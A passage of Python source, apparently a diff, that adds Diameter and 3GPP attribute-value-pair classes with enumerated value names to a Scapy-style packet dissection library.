"X.75", + 7: "GPRS PDP Context", + 255: "Ascend-ARA", + 256: "MPP", + 257: "EURAW", + 258: "EUUI", + 259: "X25", + 260: "COMB", + 261: "FR", + })] + + +class AVP_0_10 (AVP_FL_NV): + name = 'Framed-Routing' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, + { + 0: "None", + 1: "Send routing packets", + 2: "Listen for routing packets", + 3: "Send and Listen ", + })] + + +class AVP_0_13 (AVP_FL_NV): + name = 'Framed-Compression' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, + {0: "None", 2: "IPX header compression", 3: "Stac-LZS compression", }) # noqa: E501 + ] + + +class AVP_0_15 (AVP_FL_NV): + name = 'Login-Service' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, + { + 0: "Telnet", + 1: "Rlogin", + 2: "TCP-Clear", + 3: "PortMaster", + 4: "LAT", + 5: "X25-PAD", + 6: "X25-T3POS", + 7: "Unassigned", + })] + + +class AVP_0_45 (AVP_FL_NV): + name = 'Acct-Authentic' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, + {0: "None", 1: "RADIUS", 2: "Local", 3: "Remote", 4: "Diameter", })] # noqa: E501 + + +class AVP_0_61 (AVP_FL_NV): + name = 'NAS-Port-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, + { + 0: "Async", + 1: "Sync", + 2: "ISDN-Sync", + 3: "ISDN-Async-v120", + 4: "ISDN-Async-v110", + 5: "Virtual", + 6: "PIAFS", + 7: "HDLC-Clear-Channel", + 8: "X25", + 9: "X75", + 10: "G.3 Fax", + 11: "SDSL - Symmetric DSL", + 14: "IDSL - ISDN Digital Subscriber Line", + 15: "Ethernet", + 16: "xDSL - Digital Subscriber Line of unknown type", + 17: "Cable", + 18: "Wireless - Other", + 19: "Wireless - IEEE 802.11", + 20: "Token-Ring", + 21: "FDDI", + 22: "Wireless - CDMA2000", + 23: "Wireless - UMTS", + 24: "Wireless - 1X-EV", + 25: "IAPP", + 26: "FTTP - Fiber to the Premises", + 27: "Wireless - IEEE 802.16", + 28: "Wireless - IEEE 802.20", + 29: "Wireless - IEEE 802.22", + 30: "PPPoA - PPP over ATM", + 31: "PPPoEoA - PPP over Ethernet over ATM", + 32: "PPPoEoE - PPP over Ethernet over Ethernet", + 33: "PPPoEoVLAN - PPP over Ethernet over VLAN", + 34: "PPPoEoQinQ - PPP over Ethernet over IEEE 802.1QinQ", # noqa: E501 + 35: "xPON - Passive Optical Network", + 36: "Wireless - XGP", + })] + + +class AVP_0_64 (AVP_FL_NV): + name = 'Tunnel-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, + { + 1: "PPTP", + 2: "L2F", + 3: "L2TP", + 4: "ATMP", + 5: "VTP", + 6: "AH", + 7: "IP-IP-Encap", + 8: "MIN-IP-IP", + 9: "ESP", + 10: "GRE", + 11: "DVS", + 12: "IP-in-IP Tunneling", + 13: "VLAN", + })] + + +class AVP_0_65 (AVP_FL_NV): + name = 'Tunnel-Medium-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, + { + 1: "IPv4", + 2: "IPv6", + 3: "NSAP", + 4: "HDLC", + 5: "BBN", + 6: "IEEE-802", + 7: "E-163", + 8: "E-164", + 9: "F-69", + 10: "X-121", + 11: "IPX", + 12: "Appletalk-802", + 13: "Decnet4", + 14: "Vines", + 15: "E-164-NSAP", + })] + + +class AVP_0_72 (AVP_FL_NV): + name = 'ARAP-Zone-Access' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, + { + 1: "Only allow access to default zone", + 2: "Use zone filter inclusively", + 3: "Use zone filter exclusively", + })] + + +class AVP_0_76 (AVP_FL_NV): + name = 'Prompt' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, {0: "No Echo", 1: "Echo", }) + ] + + +class AVP_0_261 (AVP_FL_NV): + name = 'Redirect-Host-Usage' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, + { + 0: "Don't Care", + 1: "All Session", + 2: "All Realm", + 3: "Realm and Application", + 4: "All Application", + 5: "All Host", + 6: "ALL_USER", + })] + + +class AVP_0_271 (AVP_FL_NV): + name = 'Session-Server-Failover' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, + {0: "REFUSE_SERVICE", 1: "TRY_AGAIN", 2: "ALLOW_SERVICE", 3: "TRY_AGAIN_ALLOW_SERVICE", })] # noqa: E501 + + +class AVP_0_273 (AVP_FL_NV): + name = 'Disconnect-Cause' + avpLen = 12 + fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "REBOOTING", 1: "BUSY", 2: "DO_NOT_WANT_TO_TALK_TO_YOU", })] # noqa: E501 + + +class AVP_0_274 (AVP_FL_NV): + name = 'Auth-Request-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 1: "AUTHENTICATE_ONLY", 2: "AUTHORIZE_ONLY", 3: "AUTHORIZE_AUTHENTICATE", })] # noqa: E501 + + +class AVP_0_277 (AVP_FL_NV): + name = 'Auth-Session-State' + avpLen = 12 + fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "STATE_MAINTAINED", 1: "NO_STATE_MAINTAINED", })] # noqa: E501 + + +class AVP_0_285 (AVP_FL_NV): + name = 'Re-Auth-Request-Type' + avpLen = 12 + fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "AUTHORIZE_ONLY", 1: "AUTHORIZE_AUTHENTICATE", })] # noqa: E501 + + +class AVP_0_295 (AVP_FL_NV): + name = 'Termination-Cause' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated( + 'val', + None, + { + 1: "DIAMETER_LOGOUT", + 2: "DIAMETER_SERVICE_NOT_PROVIDED", + 3: "DIAMETER_BAD_ANSWER", + 4: "DIAMETER_ADMINISTRATIVE", + 5: "DIAMETER_LINK_BROKEN", + 6: "DIAMETER_AUTH_EXPIRED", + 7: "DIAMETER_USER_MOVED", + 8: "DIAMETER_SESSION_TIMEOUT", + })] + + +class AVP_0_345 (AVP_FL_NV): + name = 'MIP-Algorithm-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {2: "HMAC-SHA-1", })] + + +class AVP_0_346 (AVP_FL_NV): + name = 'MIP-Replay-Mode' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {1: "None", 2: "Timestamps", 3: "Nonces", })] # noqa: E501 + + +class AVP_0_375 (AVP_FL_NV): + name = 'SIP-Server-Assignment-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated( + 'val', + None, + { + 0: "NO_ASSIGNMENT", + 1: "REGISTRATION", + 2: "RE_REGISTRATION", + 3: "UNREGISTERED_USER", + 4: "TIMEOUT_DEREGISTRATION", + 5: "USER_DEREGISTRATION", + 6: "TIMEOUT_DEREGISTRATION_STORE_SERVER_NAME", + 7: "USER_DEREGISTRATION_STORE_SERVER_NAME", + 8: "ADMINISTRATIVE_DEREGISTRATION", + 9: "AUTHENTICATION_FAILURE", + 10: "AUTHENTICATION_TIMEOUT", + 11: "DEREGISTRATION_TOO_MUCH_DATA", + })] + + +class AVP_0_377 (AVP_FL_NV): + name = 'SIP-Authentication-Scheme' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {0: "DIGEST", })] + + +class AVP_0_384 (AVP_FL_NV): + name = 'SIP-Reason-Code' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated( + 'val', + None, + { + 0: "PERMANENT_TERMINATION", + 1: "NEW_SIP_SERVER_ASSIGNED", + 2: "SIP_SERVER_CHANGE", + 3: "REMOVE_SIP_SERVER", + })] + + +class AVP_0_387 (AVP_FL_NV): + name = 'SIP-User-Authorization-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 0: "REGISTRATION", 1: "DEREGISTRATION", 2: "REGISTRATION_AND_CAPABILITIES", })] # noqa: E501 + + +class AVP_0_392 (AVP_FL_NV): + name = 'SIP-User-Data-Already-Available' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 0: "USER_DATA_NOT_AVAILABLE", 1: "USER_DATA_ALREADY_AVAILABLE", })] + + +class AVP_0_403 (AVP_FL_NV): + name = 'CHAP-Algorithm' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {5: "CHAP with MD5", })] + + +class AVP_0_406 (AVP_FL_NV): + name = 'Accounting-Auth-Method' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 1: "PAP", 2: "CHAP", 3: "MS-CHAP-1", 4: "MS-CHAP-2", 5: "EAP", 6: "Undefined", 7: "None", })] # noqa: E501 + + +class AVP_0_416 (AVP_FL_NV): + name = 'CC-Request-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 1: "INITIAL_REQUEST", 2: "UPDATE_REQUEST", 3: "TERMINATION_REQUEST", 4: "EVENT_REQUEST", })] # noqa: E501 + + +class AVP_0_418 (AVP_FL_NV): + name = 'CC-Session-Failover' + avpLen = 12 + fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "FAILOVER_NOT_SUPPORTED", 1: "FAILOVER_SUPPORTED", })] # noqa: E501 + + +class AVP_0_422 (AVP_FL_NV): + name = 'Check-Balance-Result' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {0: "ENOUGH_CREDIT", 1: "NO_CREDIT", })] # noqa: E501 + + +class AVP_0_426 (AVP_FL_NV): + name = 'Credit-Control' + avpLen = 12 + fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "CREDIT_AUTHORIZATION", 1: "RE_AUTHORIZATION", })] # noqa: E501 + + +class AVP_0_427 (AVP_FL_NV): + name = 'Credit-Control-Failure-Handling' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 0: "TERMINATE", 1: "CONTINUE", 2: "RETRY_AND_TERMINATE", })] + + +class AVP_0_428 (AVP_FL_NV): + name = 'Direct-Debiting-Failure-Handling' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {0: "TERMINATE_OR_BUFFER", 1: "CONTINUE", })] # noqa: E501 + + +class AVP_0_433 (AVP_FL_NV): + name = 'Redirect-Address-Type' + avpLen = 12 + fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "IPV4_ADDRESS", 1: "IPV6_ADDRESS", 2: "URL", 3: "SIP_URI", })] # noqa: E501 + + +class AVP_0_436 (AVP_FL_NV): + name = 'Requested-Action' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 0: "DIRECT_DEBITING", 1: "REFUND_ACCOUNT", 2: "CHECK_BALANCE", 3: "PRICE_ENQUIRY", })] # noqa: E501 + + +class AVP_0_449 (AVP_FL_NV): + name = 'Final-Unit-Action' + avpLen = 12 + fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "TERMINATE", 1: "REDIRECT", 2: "RESTRICT_ACCESS", })] # noqa: E501 + + +class AVP_0_450 (AVP_FL_NV): + name = 'Subscription-Id-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated( + 'val', + None, + { + 0: "END_USER_E164", + 1: "END_USER_IMSI", + 2: "END_USER_SIP_URI", + 3: "END_USER_NAI", + 4: "END_USER_PRIVATE", + })] + + +class AVP_0_452 (AVP_FL_NV): + name = 'Tariff-Change-Usage' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 0: "UNIT_BEFORE_TARIFF_CHANGE", 1: "UNIT_AFTER_TARIFF_CHANGE", 2: "UNIT_INDETERMINATE", })] # noqa: E501 + + +class AVP_0_454 (AVP_FL_NV): + name = 'CC-Unit-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated( + 'val', + None, + { + 0: "TIME", + 1: "MONEY", + 2: "TOTAL-OCTETS", + 3: "INPUT-OCTETS", + 4: "OUTPUT-OCTETS", + 5: "SERVICE-SPECIFIC-UNITS", + })] + + +class AVP_0_455 (AVP_FL_NV): + name = 'Multiple-Services-Indicator' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 0: "MULTIPLE_SERVICES_NOT_SUPPORTED", 1: "MULTIPLE_SERVICES_SUPPORTED", })] # noqa: E501 + + +class AVP_0_459 (AVP_FL_NV): + name = 'User-Equipment-Info-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 0: "IMEISV", 1: "MAC", 2: "EUI64", 3: "MODIFIED_EUI64", })] + + +class AVP_0_480 (AVP_FL_NV): + name = 'Accounting-Record-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 1: "Event Record", 2: "Start Record", 3: "Interim Record", 4: "Stop Record", })] # noqa: E501 + + +class AVP_0_483 (AVP_FL_NV): + name = 'Accounting-Realtime-Required' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 0: "Reserved", 1: "DELIVER_AND_GRANT", 2: "GRANT_AND_STORE", 3: "GRANT_AND_LOSE", })] # noqa: E501 + + +class AVP_0_494 (AVP_FL_NV): + name = 'MIP6-Auth-Mode' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {0: "Reserved", 1: "IP6_AUTH_MN_AAA", })] # noqa: E501 + + +class AVP_0_513 (AVP_FL_NV): + name = 'Protocol' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, { + 1: "ICMP", 2: "IGMP", 4: "IPv4", 6: "TCP", 17: "UDP", 132: "SCTP", })] # noqa: E501 + + +class AVP_0_514 (AVP_FL_NV): + name = 'Direction' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {0: "IN", 1: "OUT", 2: "BOTH", })] + + +class AVP_0_517 (AVP_FL_NV): + name = 'Negated' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {0: "False", 1: "True", })] + + +class AVP_0_534 (AVP_FL_NV): + name = 'Use-Assigned-Address' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {0: "False", 1: "True", })] + + +class AVP_0_535 (AVP_FL_NV): + name = 'Diffserv-Code-Point' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated( + 'val', + None, + { + 0: "CS0", + 8: "CS1", + 10: "AF11", + 12: "AF12", + 14: "AF13", + 16: "CS2", + 18: "AF21", + 20: "AF22", + 22: "AF23", + 24: "CS3", + 26: "AF31", + 28: "AF32", + 30: "AF33", + 32: "CS4", + 34: "AF41", + 36: "AF42", + 38: "AF43", + 40: "CS5", + 46: "EF_PHB", + 48: "CS6", + 56: "CS7", + })] + + +class AVP_0_536 (AVP_FL_NV): + name = 'Fragmentation-Flag' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {0: "Don't Fragment", 1: "More Fragments", })] # noqa: E501 + + +class AVP_0_538 (AVP_FL_NV): + name = 'IP-Option-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated( + 'val', + None, + { + 0: "end_of_list", + 1: "nop", + 2: "security", + 3: "loose_source_route", + 4: "timestamp", + 5: "extended_security", + 6: "commercial_security", + 7: "record_route", + 8: "stream_id", + 9: "strict_source_route", + 10: "experimental_measurement", + 11: "mtu_probe", + 12: "mtu_reply", + 13: "flow_control", + 14: "access_control", + 15: "encode", + 16: "imi_traffic_descriptor", + 17: "extended_IP", + 18: "traceroute", + 19: "address_extension", + 20: "router_alert", + 21: "selective_directed_broadcast_mode", + 23: "dynamic_packet_state", + 24: "upstream_multicast_packet", + 25: "quick_start", + 30: "rfc4727_experiment", + })] + + +class AVP_0_541 (AVP_FL_NV): + name = 'TCP-Option-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated( + 'val', + None, + { + 0: "EOL", + 1: "NOP", + 2: "MSS", + 3: "WScale", + 4: "SAckOK", + 5: "SAck", + 8: "Timestamp", + 14: "AltChkSum", + 15: "AltChkSumOpt", + 25: "Mood", + })] + + +class AVP_0_546 (AVP_FL_NV): + name = 'ICMP-Type-Number' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated( + 'val', + None, + { + 0: "echo-reply", + 3: "dest-unreach", + 4: "source-quench", + 5: "redirect", + 8: "echo-request", + 9: "router-advertisement", + 10: "router-solicitation", + 11: "time-exceeded", + 12: "parameter-problem", + 13: "timestamp-request", + 14: "timestamp-reply", + 15: "information-request", + 16: "information-response", + 17: "address-mask-request", + 18: "address-mask-reply", + })] + + +class AVP_0_547 (AVP_FL_NV): + name = 'ICMP-Code' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {0: "TBD", })] + + +class AVP_0_570 (AVP_FL_NV): + name = 'Timezone-Flag' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, Enumerated('val', None, {0: "UTC", 1: "LOCAL", 2: "OFFSET", })] # noqa: E501 + + +class AVP_0_575 (AVP_FL_NV): + name = 'QoS-Semantics' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated( + 'val', + None, + { + 0: "QoS_Desired", + 1: "QoS_Available", + 2: "QoS_Delivered", + 3: "Minimum_QoS", + 4: "QoS_Authorized", + })] + + +class AVP_10415_500 (AVP_FL_V): + name = 'Abort-Cause' + avpLen = 16 + fields_desc = [AVP_FL_V, + Enumerated('val', + None, + {0: "BEARER_RELEASED", + 1: "INSUFFICIENT_SERVER_RESOURCES", + 2: "INSUFFICIENT_BEARER_RESOURCES", + })] + + +class AVP_10415_511 (AVP_FL_V): + name = 'Flow-Status' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "ENABLED-UPLINK", 1: "ENABLED-DOWNLINK", 2: "ENABLED", 3: "DISABLED", 4: "REMOVED", })] # noqa: E501 + + +class AVP_10415_512 (AVP_FL_V): + name = 'Flow-Usage' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NO_INFORMATION", 1: "RTCP", 2: "AF_SIGNALLING", })] # noqa: E501 + + +class AVP_10415_513 (AVP_FL_V): + name = 'Specific-Action' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 1: "CHARGING_CORRELATION_EXCHANGE", + 2: "INDICATION_OF_LOSS_OF_BEARER", + 3: "INDICATION_OF_RECOVERY_OF_BEARER", + 4: "INDICATION_OF_RELEASE_OF_BEARER", + 6: "IP-CAN_CHANGE", + 7: "INDICATION_OF_OUT_OF_CREDIT", + 8: "INDICATION_OF_SUCCESSFUL_RESOURCES_ALLOCATION", + 9: "INDICATION_OF_FAILED_RESOURCES_ALLOCATION", + 10: "INDICATION_OF_LIMITED_PCC_DEPLOYMENT", + 11: "USAGE_REPORT", + 12: "ACCESS_NETWORK_INFO_REPORT", + })] + + +class AVP_10415_520 (AVP_FL_V): + name = 'Media-Type' + avpLen = 16 + fields_desc = [AVP_FL_V, + Enumerated('val', + None, + {0: "AUDIO", + 1: "VIDEO", + 2: "DATA", + 3: "APPLICATION", + 4: "CONTROL", + 5: "TEXT", + 6: "MESSAGE", + 4294967295: "OTHER", + })] + + +class AVP_10415_523 (AVP_FL_V): + name = 'SIP-Forking-Indication' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "SINGLE_DIALOGUE", 1: "SEVERAL_DIALOGUES", })] + + +class AVP_10415_527 (AVP_FL_V): + name = 'Service-Info-Status' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "FINAL_SERVICE_INFORMATION", 1: "PRELIMINARY_SERVICE_INFORMATION", })] # noqa: E501 + + +class AVP_10415_529 (AVP_FL_V): + name = 'AF-Signalling-Protocol' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "NO_INFORMATION", 1: "SIP", })] + + +class AVP_10415_533 (AVP_FL_V): + name = 'Rx-Request-Type' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "INITIAL_REQUEST", 1: "UPDATE_REQUEST", })] # noqa: E501 + + +class AVP_10415_536 (AVP_FL_V): + name = 'Required-Access-Info' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "USER_LOCATION", 1: "MS_TIME_ZONE", })] # noqa: E501 + + +class AVP_10415_614 (AVP_FL_V): + name = 'Server-Assignment-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "NO_ASSIGNMENT", + 1: "REGISTRATION", + 2: "RE_REGISTRATION", + 3: "UNREGISTERED_USER", + 4: "TIMEOUT_DEREGISTRATION", + 5: "USER_DEREGISTRATION", + 6: "TIMEOUT_DEREGISTRATION_STORE_SERVER_NAME", + 7: "USER_DEREGISTRATION_STORE_SERVER_NAME", + 8: "ADMINISTRATIVE_DEREGISTRATION", + 9: "AUTHENTICATION_FAILURE", + 10: "AUTHENTICATION_TIMEOUT", + 11: "DEREGISTRATION_TOO_MUCH_DATA", + 12: "AAA_USER_DATA_REQUEST", + 13: "PGW_UPDATE", + })] + + +class AVP_10415_616 (AVP_FL_V): + name = 'Reason-Code' + avpLen = 16 + fields_desc = [AVP_FL_V, + Enumerated('val', + None, + {0: "PERMANENT_TERMINATION", + 1: "NEW_SERVER_ASSIGNED", + 2: "SERVER_CHANGE", + 3: "REMOVE_S-CSCF", + })] + + +class AVP_10415_623 (AVP_FL_V): + name = 'User-Authorization-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "REGISTRATION", 1: "DE_REGISTRATION", 2: "REGISTRATION_AND_CAPABILITIES", })] # noqa: E501 + + +class AVP_10415_624 (AVP_FL_V): + name = 'User-Data-Already-Available' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "USER_DATA_NOT_AVAILABLE", 1: "USER_DATA_ALREADY_AVAILABLE", })] + + +class AVP_10415_633 (AVP_FL_V): + name = 'Originating-Request' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "ORIGINATING", })] + + +class AVP_10415_638 (AVP_FL_V): + name = 'Loose-Route-Indication' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "LOOSE_ROUTE_NOT_REQUIRED", 1: "LOOSE_ROUTE_REQUIRED", })] # noqa: E501 + + +class AVP_10415_648 (AVP_FL_V): + name = 'Multiple-Registration-Indication' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "NOT_MULTIPLE_REGISTRATION", 1: "MULTIPLE_REGISTRATION", })] + + +class AVP_10415_650 (AVP_FL_V): + name = 'Session-Priority' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "PRIORITY-0", 1: "PRIORITY-1", 2: "PRIORITY-2", 3: "PRIORITY-3", 4: "PRIORITY-4", })] # noqa: E501 + + +class AVP_10415_652 (AVP_FL_V): + name = 'Priviledged-Sender-Indication' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "NOT_PRIVILEDGED_SENDER", 1: "PRIVILEDGED_SENDER", })] + + +class AVP_10415_703 (AVP_FL_V): + name = 'Data-Reference' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "RepositoryData", + 1: "Undefined", + 2: "Undefined", + 3: "Undefined", + 4: "Undefined", + 5: "Undefined", + 6: "Undefined", + 7: "Undefined", + 8: "Undefined", + 9: "Undefined", + 10: "IMSPublicIdentity", + 11: "IMSUserState", + 12: "S-CSCFName", + 13: "InitialFilterCriteria", + 14: "LocationInformation", + 15: "UserState", + 16: "ChargingInformation", + 17: "MSISDN", + 18: "PSIActivation", + 19: "DSAI", + 20: "Reserved", + 21: "ServiceLevelTraceInfo", + 22: "IPAddressSecureBindingInformation", + 23: "ServicePriorityLevel", + 24: "SMSRegistrationInfo", + 25: "UEReachabilityForIP", + 26: "TADSinformation", + 27: "STN-SR", + 28: "UE-SRVCC-Capability", + 29: "ExtendedPriority", + 30: "CSRN", + 31: "ReferenceLocationInformation", + })] + + +class AVP_10415_705 (AVP_FL_V): + name = 'Subs-Req-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Subscribe", 1: "Unsubscribe", })] # noqa: E501 + + +class AVP_10415_706 (AVP_FL_V): + name = 'Requested-Domain' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "CS-Domain", 1: "PS-Domain", })] + + +class AVP_10415_707 (AVP_FL_V): + name = 'Current-Location' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "DoNotNeedInitiateActiveLocationRetrieval", 1: "InitiateActiveLocationRetrieval", })] # noqa: E501 + + +class AVP_10415_708 (AVP_FL_V): + name = 'Identity-Set' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "ALL_IDENTITIES", + 1: "REGISTERED_IDENTITIES", + 2: "IMPLICIT_IDENTITIES", + 3: "ALIAS_IDENTITIES", + })] + + +class AVP_10415_710 (AVP_FL_V): + name = 'Send-Data-Indication' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "USER_DATA_NOT_REQUESTED", 1: "USER_DATA_REQUESTED", })] # noqa: E501 + + +class AVP_10415_712 (AVP_FL_V): + name = 'One-Time-Notification' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "ONE_TIME_NOTIFICATION_REQUESTED", })] # noqa: E501 + + +class AVP_10415_714 (AVP_FL_V): + name = 'Serving-Node-Indication' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "ONLY_SERVING_NODES_REQUIRED", })] # noqa: E501 + + +class AVP_10415_717 (AVP_FL_V): + name = 'Pre-paging-Supported' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PREPAGING_NOT_SUPPORTED", 1: "PREPAGING_SUPPORTED", })] # noqa: E501 + + +class AVP_10415_718 (AVP_FL_V): + name = 'Local-Time-Zone-Indication' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "ONLY_LOCAL_TIME_ZONE_REQUESTED", 1: "LOCAL_TIME_ZONE_WITH_LOCATION_INFO_REQUESTED", })] # noqa: E501 + + +class AVP_10415_829 (AVP_FL_V): + name = 'Role-Of-Node' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "HPLMN", 1: "VPLMN", 2: "FORWARDING_ROLE", })] # noqa: E501 + + +class AVP_10415_862 (AVP_FL_V): + name = 'Node-Functionality' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "S-CSCF", + 1: "P-CSCF", + 2: "I-CSCF", + 5: "BGCF", + 6: "AS", + 7: "IBCF", + 8: "S-GW", + 9: "P-GW", + 10: "HSGW", + 11: "E-CSCF ", + 12: "MME ", + 13: "TRF", + 14: "TF", + 15: "ATCF", + 16: "Proxy Function", + 17: "ePDG", + })] + + +class AVP_10415_864 (AVP_FL_V): + name = 'Originator' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Calling Party", 1: "Called Party", })] # noqa: E501 + + +class AVP_10415_867 (AVP_FL_V): + name = 'PS-Append-Free-Format-Data' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "'Append' ", 1: "'Overwrite' ", })] # noqa: E501 + + +class AVP_10415_870 (AVP_FL_V): + name = 'Trigger-Type' + avpLen = 16 + fields_desc = [AVP_FL_V, + Enumerated('val', + None, + {1: "CHANGE_IN_SGSN_IP_ADDRESS ", + 2: "CHANGE_IN_QOS", + 3: "CHANGE_IN_LOCATION", + 4: "CHANGE_IN_RAT", + 5: "CHANGE_IN_UE_TIMEZONE", + 10: "CHANGEINQOS_TRAFFIC_CLASS", + 11: "CHANGEINQOS_RELIABILITY_CLASS", + 12: "CHANGEINQOS_DELAY_CLASS", + 13: "CHANGEINQOS_PEAK_THROUGHPUT", + 14: "CHANGEINQOS_PRECEDENCE_CLASS", + 15: "CHANGEINQOS_MEAN_THROUGHPUT", + 16: "CHANGEINQOS_MAXIMUM_BIT_RATE_FOR_UPLINK", + 17: "CHANGEINQOS_MAXIMUM_BIT_RATE_FOR_DOWNLINK", + 18: "CHANGEINQOS_RESIDUAL_BER", + 19: "CHANGEINQOS_SDU_ERROR_RATIO", + 20: "CHANGEINQOS_TRANSFER_DELAY", + 21: "CHANGEINQOS_TRAFFIC_HANDLING_PRIORITY", + 22: "CHANGEINQOS_GUARANTEED_BIT_RATE_FOR_UPLINK", # noqa: E501 + 23: "CHANGEINQOS_GUARANTEED_BIT_RATE_FOR_DOWNLINK", # noqa: E501 + 24: "CHANGEINQOS_APN_AGGREGATE_MAXIMUM_BIT_RATE", # noqa: E501 + 30: "CHANGEINLOCATION_MCC", + 31: "CHANGEINLOCATION_MNC", + 32: "CHANGEINLOCATION_RAC", + 33: "CHANGEINLOCATION_LAC", + 34: "CHANGEINLOCATION_CellId", + 35: "CHANGEINLOCATION_TAC", + 36: "CHANGEINLOCATION_ECGI", + 40: "CHANGE_IN_MEDIA_COMPOSITION", + 50: "CHANGE_IN_PARTICIPANTS_NMB", + 51: "CHANGE_IN_ THRSHLD_OF_PARTICIPANTS_NMB", + 52: 